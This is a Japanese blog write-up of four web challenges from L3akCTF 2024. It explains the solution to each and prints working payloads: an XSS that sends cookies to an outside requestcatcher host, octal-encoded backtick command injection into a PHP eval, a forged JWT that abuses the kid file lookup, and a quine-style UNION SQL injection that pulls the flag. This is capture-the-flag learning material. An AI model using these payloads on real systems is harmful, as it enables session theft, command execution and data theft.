はまやんはまやんはまやん

hamayanhamayan's blog

L3akCTF 2024 Writeup

https://ctftime.org/event/2322

[Web] I'm the CEO

ソースコード有り。htmxでできたNoteサイトが与えられる。botをまずは見てみる。以下のようにflagをcookieに入れているので、XSScookieを抜いてやればよさそう。

// Set Flag
await page.setCookie({
    name: "flag",
    httpOnly: false,
    value: CONFIG.APPFLAG,
    domain: CONFIG.APPHOST
})
let cookies = await page.cookies()
console.log(cookies);
// Visit URL from user
console.log(`bot visiting ${urlToVisit}`)
await page.goto(urlToVisit, {
    waitUntil: 'networkidle2'
});
await sleep(8000);
cookies = await page.cookies()
console.log(cookies);

XSSできそうなポイントを探すと普通にXSSのpayloadでNoteを投稿すると動く。<img src=x onerror=alert(document.domain)> htmxってanti-XSS defaultではないのか。

<img src=x onerror="fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: document.cookie })">

ともあれ、これを使ってNoteを作ってAdmin botに踏ませるとフラグが得られる。

https://htmx.org/essays/htmx-sucks/

おもろい。

[Web] Simple calculator

ソースコード有り。中身は簡潔で、フィルターを回避してphpコードのコマンドインジェクションする。

<?php

function popCalc() {
    if (isset($_GET['formula'])) {
        $formula = $_GET['formula'];
        if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
            return 'Try Harder !';
        }
        try {
            eval('$calc = ' . $formula . ';');
            return isset($calc) ? $calc : '?';
        } catch (ParseError $err) {
            return 'Error';
        }
    }
}

$result = popCalc();
echo "Result: " . $result;

?>

a-z\'"が使えないという条件。紆余曲折してphp jailしていたが、本質はそこではなく、`が使えるという部分。これを使えばshellを呼べるので`ls -la`みたいなやつを入れ込むことを考える。コマンド自体はそのままでは書けないので、Octal表現、8進数表現で記載することにする。

https://gchq.github.io/CyberChef/#recipe=To_Octal('Space')Find/Replace(%7B'option':'Simple%20string','string':'%20'%7D,'%5C%5C',true,false,true,false)&input=bHMgLWxh

こんな感じで用意して先頭に/を付けた`\154\163\40\55\154\141`を動かすとls -laできる。

total 16
dr-xr-xr-x 1 www-data www-data 4096 May 24 08:51 .
drwxr-xr-x 1 root     root     4096 Nov 15  2022 ..
-r--r--r-- 1 root     root       23 May 24 08:46 flag-eucmCjFHC1oimI0d9XxT7JzANCVOhrFX2OVdy8NxGQ3aPxDLd4WwwQ82eMKlRZBy.txt
-r-xr-xr-x 1 root     root      467 May 24 08:46 index.php

良い感じ。cat flag-*.txtでフラグ獲得。

`\143\141\164\40\146\154\141\147\55\52\56\164\170\164`

[Web] BatBot

Discordのbotソースコードが与えられる。L3akCTFの公式DiscordにBatBot君がいるので話しかけてみる。

hamayanhamayan — 今日 18:44
!help

BatBot — 今日 18:44
Help Command:
 !help (Shows this message)
 !verify token  (Authenticate with a JWT token)
 !generate (Generate a JWT Token for you)

JWTトークンを検証するもの。検証のソースコードは以下。

@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        else:
            result = verify_jwt(token)
            print(ctx.author)
            print(result)
            if isinstance(result, dict):
                username = result.get('username')
                role = result.get('role')
                if username and role=='VIP':
                    await ctx.send(f'Welcome Sir! Here is our secret {flag}')
                elif username:
                    await ctx.send(f'Welcome {username}!')
                else:
                    await ctx.send('Authentication failed. Please try again.')
            else:
                await ctx.send('Authentication failed.')
    except:
        await ctx.send('Authentication failed.')

roleがVIPであればフラグがもらえる。verify_jwtを見てみる。

def verify_jwt(token):
    try:
        header = jwt.get_unverified_header(token)
        kid = header['kid']
        assert ("/" not in kid)
        with open(kid, 'r') as file:
            secret_key = file.read().strip()
        decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
        return decoded_token
    except Exception as e:
        return str(e)

kidからファイルを読み込んで秘密鍵としている。assert ("/" not in kid)というのがあり、/dev/nullを使う常套テクは使えない。『既知の』良い感じのファイルが無いか考えると、bot.pyが使えそうと気が付く。以下のように、kidとしてbot.pyを使ってJWTトークンを作り、!verify [token]を投げるとフラグがもらえる。

import jwt
import os

with open('src/BatBot/bot.py', 'r') as file:
    secret_key = file.read().strip()
headers = {
    'kid': 'bot.py'
}
token = jwt.encode({'username': 'hamayanhamayan','role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
print(token)

[Web] bbsqli

ソースコード有りで、SQL Injectionできるサイトが与えられる。SQL Injectionできる箇所はここ。

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
       try: 
        username = request.form['username']
        password = request.form['password']
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"')
        user = cursor.fetchone()
        conn.close()
        if user and user['username'] == username and user['password'] == hash_password(password):
            session['username'] = user['username']
            session['email'] = user['email']
            return redirect(url_for('dashboard'))
        else:
            return render_template('login.html', error='Invalid username or password')
       except:
           return render_template('login.html', error='Invalid username or password')
    return render_template('login.html')

確かに入力がそのまま移っている。フラグの入り方は以下のような感じ。

def add_flag(flag):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute('INSERT INTO flags (flag) VALUES (?)', (flag,))
    conn.commit()
    conn.close()

SQL Injectionの発生自体は普通だが、そのあとの検証で情報を抜き出してくるにはuser['username'] == username and user['password'] == hash_password(password)をtrueにする必要がある部分があり、そこが難しい。Blindで情報を抜き出す際にも応答の差を生み出す必要があるので上記の条件は何とかする必要がある。

結論から言うとQuineという構造を作り出す必要がある。usernameでSQL Injectionを引き起こす必要があるが、その出力のusernameに入力と同じものを出力させる必要がある。このように入力と出力が一致するような構造をQuineと呼び、面白パズルの1つ。以下のような入力をusernameに入れると出力のusernameに同じものが出てきて、emailには(SELECT flag FROM flags)の結果が入り、passwordには122のmd5ハッシュであるa0a080f42e6f13b3a2df133f073095ddが入る。

" UNION SELECT REPLACE(REPLACE("' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -",CHAR(39),CHAR(34)),CHAR(36),"' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -") AS username, (SELECT flag FROM flags) AS email, "a0a080f42e6f13b3a2df133f073095dd" AS password -- " -- -

よって、以上をusername、passwordを122とするとログインができ、emailに希望のSQL文の結果が入るので、ログイン後にフラグを読み取ることができる。